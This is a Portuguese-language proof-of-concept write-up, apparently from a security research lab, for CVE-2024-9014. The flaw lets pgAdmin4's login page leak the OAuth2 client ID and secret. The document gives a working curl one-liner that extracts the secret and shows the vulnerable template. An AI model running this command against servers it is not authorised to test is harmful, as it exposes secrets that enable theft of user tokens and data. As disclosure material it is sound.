
Pgadmin4 Sensitive Information Exposure
Este post é um artigo de pesquisa publicado por EQSTLab.
★ CVE-2024-9014 Prova de Conceito de Exposição de Informações Sensíveis ★
CVE-2024-9014 : pgAdmin4 Exposição de Informações Sensíveis
Descrição: pgAdmin versões 8.11 e anteriores são vulneráveis a uma falha de segurança na autenticação OAuth2. Esta vulnerabilidade permite que um invasor obtenha potencialmente o ID do cliente e o segredo, levando a acesso não autorizado aos dados do usuário.
curl [URL_TO_TEST]/login?next=/ | grep -o '"oauth2Config": \[.*\]' | sed 's/"oauth2Config": //'
curl http://localhost:8000/login?next=/ | grep -o '"oauth2Config": \[.*\]' | sed 's/"oauth2Config": //'
pgadmin4-8.9 e pgadmin4-8.12

Neste ponto, a variável config.OAUTH2_CONFIG retorna arquivos de configuração OAuth2 incluindo OAUTH2_CLIENT_ID e OAUTH2_CLIENT_SECRET.
{% set page_name = 'login_user' %}
{% set user_language = request.cookies.get('PGADMIN_LANGUAGE') or 'en' %}
{% set ns = namespace(langOptions=[]) %}
{% for key, lang in config.LANGUAGES.items() %}
{% set _ = ns.langOptions.append({'value': key, 'label': lang}) %}
{% endfor %}
{% set page_props = {
'userLanguage': user_language,
'langOptions': ns.langOptions,
'forgotPassUrl': url_for('browser.forgot_password'),
'loginUrl': url_for('authenticate.login'),
'csrfToken': csrf_token(),
'authSources': config.AUTHENTICATION_SOURCES,
'authSourcesEnum': {
'OAUTH2': config.OAUTH2,
'KERBEROS': config.KERBEROS,
},
'oauth2Config': config.OAUTH2_CONFIG,
'loginBanner': config.LOGIN_BANNER|safe
} %}
{% extends "security/render_page.html" %}

Identificar e proteger parâmetros OAuth secretos é muito importante. Embora “client_id” possa ser divulgado com segurança, a divulgação de “client_secret” acarreta riscos significativos. Se o client_secret for comprometido, um invasor pode explorar a identidade e a confiança da aplicação para roubar o “access token” e as informações pessoais do usuário.
Este repositório não tem a intenção de expor informações sensíveis relacionadas ao CVE-2024-9014. O objetivo deste projeto é ajudar as pessoas a aprender sobre esta vulnerabilidade e, talvez, testar suas próprias aplicações.
Publicamos análises de CVEs e malware uma vez por mês. Se tiver interesse, siga os links abaixo para conferir nossas publicações. https://www.skshieldus.com/eng/business/insight.do